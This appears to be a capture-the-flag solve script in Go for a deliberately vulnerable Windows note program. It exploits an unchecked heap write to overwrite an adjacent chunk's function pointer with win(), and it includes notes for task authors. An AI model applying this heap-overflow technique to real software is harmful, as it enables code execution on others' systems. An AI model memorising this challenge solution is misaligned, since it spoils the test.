/* Solve script for heap_overflow.exe: adjacent-chunk NT Heap overflow. Heap layout (both Notes allocated from the same private heap, no LFH): HEADER(16) note[0].buf[24] note[0].action(8) HEADER(16) note[1].buf[24] note[1].action(8) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Each HEADER is a 16-byte _HEAP_ENTRY, XOR-encoded against _HEAP.Encoding. We overwrite it as part of the overflow, but since we never call HeapFree on note[1] after the overflow (just directly call note[1]->action), the corrupted header is never read back by the allocator. The W command writes hex-decoded bytes starting at note[id]->buf with NO bounds check. Overflowing 72 bytes from note[0]->buf reaches note[1]->action: note[0]->buf [0..23] 24 bytes -- fill with padding note[0]->action [24..31] 8 bytes -- overwrite (any value, not called) note[1] HEADER [32..47] 16 bytes -- corrupted, doesn't matter (not freed) note[1]->buf [48..71] 24 bytes -- overwrite (any value, not called via action) note[1]->action [72..79] 8 bytes -- WIN: write win() address here Total: 80 bytes; win() address at bytes 72-79 (little-endian). After the overflow: C 1 calls note[1]->action(note[1]->buf) -> win(). win() address comes from PE export table (no ASLR to defeat -- or if running remotely, parse from the provided binary the same way examples/heap_lfh does). NOTE FOR TASK AUTHORS: the key empirical invariant to verify is that notes[0] and notes[1] are actually adjacent with no free chunk between them. With exactly two 32-byte allocations and a fresh HeapCreate(0,0,0), this holds reliably on build 10.0.26100. Check with `winpwn heap -walk` and look for an adjacent busy pair at distance 0x30 (48 bytes = 16 header + 32 data). The _HEAP_ENTRY header in between is XOR-encoded but the overflow just overwrites it with garbage -- that's fine because we never HeapFree note[1]. */ package main import ( "bytes" "fmt" "log" "strconv" "winpwn" ) func parseAddr(line []byte) (uint64, error) { idx := bytes.Index(line, []byte("addr=0x")) if idx == -1 { return 0, fmt.Errorf("no addr= in %q", line) } return strconv.ParseUint(string(bytes.TrimSpace(line[idx+7:])), 16, 64) } func main() { pf, err := winpwn.OpenPE("heap_overflow.exe") if err != nil { log.Fatalf("OpenPE: %v", err) } winRVA, err := pf.GetProcAddress("win") if err != nil { log.Fatalf("win() not found: %v", err) } base, err := pf.ImageBase() if err != nil { log.Fatalf("ImageBase: %v", err) } winAddr := base + winRVA pf.Close() fmt.Printf("[+] win() @ 0x%X\n", winAddr) tube, err := winpwn.Spawn("heap_overflow.exe") if err != nil { log.Fatalf("Spawn: %v", err) } if _, err := tube.RecvLine(); err != nil { // "heap_overflow ready" log.Fatalf("RecvLine: %v", err) } // Step 1: allocate two notes consecutively -> they will be adjacent for _, text := range []string{"A note0", "A note1"} { if err := tube.SendLine([]byte(text)); err != nil { log.Fatalf("SendLine %s: %v", text, err) } resp, err := tube.RecvLine() if err != nil { log.Fatalf("RecvLine: %v", err) } addr, _ := parseAddr(resp) fmt.Printf("[+] %s\n", bytes.TrimSpace(resp)) _ = addr } // Step 2: overflow note[0]->buf into note[1]->action // // Payload layout (80 bytes total): // bytes 0-23: 'A'*24 (fills note[0]->buf) // bytes 24-31: 'B'*8 (overwrites note[0]->action -- value doesn't matter) // bytes 32-47: 'C'*16 (overwrites note[1]'s _HEAP_ENTRY header -- doesn't matter, not freed) // bytes 48-71: 'D'*24 (overwrites note[1]->buf -- doesn't matter, just read as string) // bytes 72-79: win() (overwrites note[1]->action -- THIS is what we call) // payload := bytes.Repeat([]byte{0x41}, 24) // note[0]->buf payload = append(payload, bytes.Repeat([]byte{0x42}, 8)...) // note[0]->action payload = append(payload, bytes.Repeat([]byte{0x43}, 16)...) // note[1] header payload = append(payload, bytes.Repeat([]byte{0x44}, 24)...) // note[1]->buf payload = append(payload, winpwn.P64(winAddr)...) // note[1]->action fmt.Printf("[+] overflow payload: %d bytes, win() @ offset 72\n", len(payload)) overflow := "W 0 " + winpwn.Enhex(payload) if err := tube.SendLine([]byte(overflow)); err != nil { log.Fatalf("SendLine W: %v", err) } if _, err := tube.RecvLine(); err != nil { // "OK" log.Fatalf("RecvLine W resp: %v", err) } fmt.Printf("[+] overflow written, note[1]->action now points to win()\n") // Step 3: call note[1]->action -> win() fmt.Printf("[+] calling C 1...\n") if err := tube.SendLine([]byte("C 1")); err != nil { log.Fatalf("SendLine C: %v", err) } tube.Interactive() }